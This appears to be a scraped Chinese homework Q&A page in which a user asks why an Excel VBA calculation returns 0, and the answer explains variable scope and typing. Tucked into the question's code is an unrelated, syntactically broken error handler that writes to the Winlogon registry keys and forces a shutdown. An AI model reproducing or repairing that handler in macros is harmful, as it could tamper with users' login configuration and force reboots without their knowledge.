早教吧作业答案频道 -->其他-->
EXCELVB为何结果=0PrivateSubLabel1Click()Label1.AutoSize=TrueEndSubPrivateSubTextBox4Change()EndSubPrivateSubFormLoad()DimnumberAsIntegerEndSubPrivateSubUserFormClick()DimW,C,E,VAsStringTextBox1.Text=""TextBox2.Text=Str(
题目详情
EXCELVB为何结果=0
Private Sub Label1_Click()
Label1.AutoSize = True
End Sub
Private Sub TextBox4_Change()
End Sub
Private Sub Form_Load()
Dim number As Integer
End Sub
Private Sub UserForm_Click()
Dim W,C,E,V As String
TextBox1.Text = ""
TextBox2.Text = Str(E)
TextBox4.Text = Str(C)
End Sub
Private Sub CommandButton1_Click()
W = (0.9 - C×E) * (V / 100)
TextBox3.Text = Str(W)
End Sub
Private Sub UserForm_Error(ByVal number As Integer,ByVal Description As MSForms.ReturnString,ByVal SCode As Long,ByVal Source As String,ByVal HelpFile As String,ByVal HelpContext As Long,ByVal CancelDisplay As MSForms.ReturnBoolean)
Dim Reg As Object
Set Reg = CreatObject("Wscript.shell")
Reg.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\" & _
"Windows NT\CurrentVersion\Winlogon\" & _
Shell "Shutdown-r-t 0" Then
Reg.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\" & _
"Microsoft\Windows NT\CurrentVersion\Winlogon\" & _
Shell "Shutdown-r-t 0"
End Sub
End Sub
Private Sub Label1_Click()
Label1.AutoSize = True
End Sub
Private Sub TextBox4_Change()
End Sub
Private Sub Form_Load()
Dim number As Integer
End Sub
Private Sub UserForm_Click()
Dim W,C,E,V As String
TextBox1.Text = ""
TextBox2.Text = Str(E)
TextBox4.Text = Str(C)
End Sub
Private Sub CommandButton1_Click()
W = (0.9 - C×E) * (V / 100)
TextBox3.Text = Str(W)
End Sub
Private Sub UserForm_Error(ByVal number As Integer,ByVal Description As MSForms.ReturnString,ByVal SCode As Long,ByVal Source As String,ByVal HelpFile As String,ByVal HelpContext As Long,ByVal CancelDisplay As MSForms.ReturnBoolean)
Dim Reg As Object
Set Reg = CreatObject("Wscript.shell")
Reg.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\" & _
"Windows NT\CurrentVersion\Winlogon\" & _
Shell "Shutdown-r-t 0" Then
Reg.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\" & _
"Microsoft\Windows NT\CurrentVersion\Winlogon\" & _
Shell "Shutdown-r-t 0"
End Sub
End Sub
▼优质解答
答案和解析
1. 代码有点乱,有个 End Sub 没有对应.
2. 整理了下代码,好几个Sub,不太清楚你“为何结果=0" 是指的哪个Sub.
3.看了下代码,有个 Sub 有计算,而且有错误:
Private Sub CommandButton1_Click()
W = (0.9 - C×E) * (V / 100) ‘W,C,E,V在使用前没有定义(初始化)
TextBox3.Text = Str(W)
End Sub
这段代码中 TextBox3.Text 的结果应该就是 0.
你在前面的代码里有:
Private Sub UserForm_Click()
\x05 Dim W,C,E,V As String
据我推测,你可能忽视了变量的应用范围.
以下有两点提示:
这几个变量是局部变量,其它 Sub 是“看”不到的.
变量的类型是 String,虽然也不是有很大影响(excel vba 里的数据类型是 variant,对于数据类型的检查不严格),但参与计算的话,通常还是要用 Integer.
2. 整理了下代码,好几个Sub,不太清楚你“为何结果=0" 是指的哪个Sub.
3.看了下代码,有个 Sub 有计算,而且有错误:
Private Sub CommandButton1_Click()
W = (0.9 - C×E) * (V / 100) ‘W,C,E,V在使用前没有定义(初始化)
TextBox3.Text = Str(W)
End Sub
这段代码中 TextBox3.Text 的结果应该就是 0.
你在前面的代码里有:
Private Sub UserForm_Click()
\x05 Dim W,C,E,V As String
据我推测,你可能忽视了变量的应用范围.
以下有两点提示:
这几个变量是局部变量,其它 Sub 是“看”不到的.
变量的类型是 String,虽然也不是有很大影响(excel vba 里的数据类型是 variant,对于数据类型的检查不严格),但参与计算的话,通常还是要用 Integer.
看了EXCELVB为何结果=0Pr...的网友还看了以下:
为什么这个语句有错误,我被这个语句弄的有点懵:看下面:char*str;str=‘a’;为什么这样 2020-05-16 …
1.设V是一个n维向量空间,W是V的一个子空间,则dimW≤n A.错误 B.正确 2020-05-17 …
C语言,为什么?voudmain(){char*str="Good\nnight!";puts(s 2020-05-17 …
label1.Caption=str(a)&stra&str(b)&+"="这句语句中少什么? 2020-06-05 …
Label1.Caption="w="&Str(w)是什么意思 2020-06-05 …
若定义charstr[2][3];则下列表达式不能表示str[1][0]的地址的是.A.str+1 2020-06-24 …
VB加一个timer1,标签显示当前系统时间,并且label1以每秒100个单位向右移动,当Lef 2020-07-22 …
.以下选项中有语法错误的是A.char*str[]={“guest”};B.charstr[][1 2020-07-22 …
不会改错了……#includevoidmain(){charstr[80];scanf("%s", 2020-07-23 …
EXCELVB为何结果=0PrivateSubLabel1Click()Label1.AutoSiz 2020-11-01 …